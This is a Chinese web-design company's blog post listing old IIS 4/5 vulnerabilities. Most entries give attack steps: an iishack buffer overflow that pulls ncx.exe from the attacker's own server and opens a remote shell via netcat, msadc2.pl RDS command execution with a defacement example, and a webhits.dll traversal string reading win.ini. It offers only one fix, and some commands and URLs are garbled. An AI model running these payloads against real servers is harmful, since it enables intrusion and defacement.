西安網(wǎng)站建設 | 西安網(wǎng)站制作 | 西安網(wǎng)站設計 | 西安小程序開發(fā) | 兄弟網(wǎng)絡 - 西安網(wǎng)站建設十余年經(jīng)驗,值得信賴!
了解市場新觀點,內部案例剖析,增強服務意識與專業(yè)水平。

iis常見漏洞及防范措施(一)

來源:西安網(wǎng)站制作   日期:2015-05-27 09:21:36   點擊:3589

1. iis4hack緩沖溢出 
     主要存在于.htr,.idc和.stm文件中,其對關于這些文件的URL請求沒有對名字進行充分的邊界檢查,導致運行攻擊者插入一些后門程序  在系統(tǒng)中下載和執(zhí)行程序。要檢測這樣的站點你需要兩個文件iishack.exe,ncx.exe,你可以到下面 的站點去下載,另外你還需要一臺自己的WEB服務器。你現(xiàn)在你自己的WEB服務器上運行WEB服務程序并把ncx.exe放到你自己相應的目錄下,然后使用iishack.exe來檢查目標機器: 
                
 c:>iishack.exe80/ncx.exe 
                 
然后你就使用netcat來連接你要檢測的服務器: 
                 
c:>nc80 
 如果溢出點正確你就可以看到目標機器的命令行提示,并且是管理遠權限。利用程序見iis4hack.zip 
                
 2.msadc 
     IIS的MDAC組件存在一個漏洞可以導致攻擊者遠程執(zhí)行你系統(tǒng)的命令。主要核心問題是存在于RDS Datafactory,默認情況下, 它允許遠程命令發(fā)送到IIS服務器中,這命令會以設備用戶的身份運行,其一般默認情況下是SYSTEM用戶。利用程序為msadc2.pl,我們看看它的help 
                  [quack@chat quack]$ perl msadc2.pl -h 
                  -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- 
                  Usage: msadc.pl -h{ -d-X -v } 
                  -h= host you want to scan (ip or domain) 
                  -d= delay between calls, default 1 second 
                  -X = dump Index Server path table, if available 
                  -N = query VbBusObj for NetBIOS name 
                  -V = use VbBusObj instead of ActiveDataFactory 
                  -v = verbose 
                  -e = external dictionary file for step 5 
                  -u <\hostsharefile> = use UNC file 
                  -w = Windows 95 instead of Windows NT 
                  -c = v1 compatibility (three step query) 
                  -s= run only step 
                  Or a -R will resume a (v2) command session 
                  [quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/ 
                  -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- 
                  Type the command line you want to run (cmd /c assumed): 
                  cmd /c 
                  如果出現(xiàn)cmd /c后,直接鍵入命令行,就可以以system權限執(zhí)行命令了。比如xundi教的: 
                  echo hacked by me > d:inetpubwwwrootvictimwebindex.htm 
                
 3.Codebrws.asp 
                  察看文件源代碼  
                                 
  4.Showcode.asp 
                  察看文件源代碼  
                             
   5.Null.htw 
                  察看文件源代碼  
                                  
 6.webhits.dll & .htw 
   hit-highligting功能是由Index Server提供的允許一個WEB用戶在文檔上highlighted(突出)他們原始搜索的條目,這個文檔的名字通過變量CiWebhitsfile傳遞給.htw文件,Webhits.dll是一個ISAPI應用程序 來處理請求,打開文件并返回結果,當用戶控制了CiWebhitsfile參數(shù)傳遞給.htw時,他們就可以請求任意文件,結果就是導致查看ASP源碼和其他腳本文件內容。要了解你是否存在這個漏洞,你可以請求如下條目:  
                
如果你從服務器端獲得如下信息: 
                
 format of the QUERY_STRING is invalid這就表示你存在這個漏洞 .這個問題主要就是webhits.dll關聯(lián)了.htw文件的映射,所以你只要取消 
這個映射就能避免這個漏洞,你可以在你認為有漏洞的系統(tǒng)中搜索.htw文件,一般會發(fā)現(xiàn)如下的程序: 
 /iissamples/issamples/oop/qfullhit.htw 
/iissamples/issamples/oop/qsumrhit.htw 
 /isssamples/exair/search/qfullhit.htw 
/isssamples/exair/search/qsumrhit.htw 
/isshelp/iss/misc/iirturnh.htw (這個一般為loopback使用) 
一個攻擊者可以使用如下的方法來訪問系統(tǒng)中文件的內容:  
       ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full 

就會在有此漏洞系統(tǒng)中win.ini文件的內容。 7.ASP Alternate Data Streams(::$DATA)  要查看一些.asp文件的內容,你可以請求如下的URL:  你就得到了源代碼 
                 
8.ASP Dot Bug 
    在請求的URL結尾追加一個或者多個點導致泄露ASP源代碼。  
     
                 
 9.ISM.DLL 
     這個漏洞是由Cerberus Information Security team.最早發(fā)現(xiàn)的,它運行在IIS4.0和5.0上面,允許攻擊者查看任意文件內容和源代碼。通過在文件名后面追加近230個+或者?%20?(這些表示空格)并追加?.htr?的特殊請求給IIS,會使IIS認為客戶端請求的是?.htr?文件,而.htr文件的后綴映射到ISM.DLL ISAPI應用程序,這樣IIS就把這個.htr請求轉交給這個DLL文件,然后ISM.DLL 程序把傳遞過來的文件打開和執(zhí)行,但在ISM.DLL 截斷信息之前,緩沖區(qū)發(fā)送 一個截斷開的 .Htr 并會有一些時間去返回一些你要打開的文件內容. 除非 WEB 服務停止并重啟過,否則這攻擊只能有效執(zhí)行一次。如果已經(jīng)發(fā)送過一個 .htr 請求到機器上,那么這攻擊會失效.它只能在 ISM.DLL第一次裝入內存時工作.CNNS發(fā)現(xiàn)追加+號到?jīng)]有一次攻擊這個問題,可以進行多次攻擊。  

上一篇:網(wǎng)頁安全技術指南(二)     下一篇:iis常見漏洞及防范措施(二)
掃碼立即溝通
公眾號加關注
版權所有:西安兄弟信息科技有限公司 陜ICP備07012704號-8   地址:西安市三橋街道恒大都市廣場(1號線灃東自貿園站C1口)  營業(yè)執(zhí)照    網(wǎng)站地圖  
關閉
029-86512630 工作:8:30-17:30

*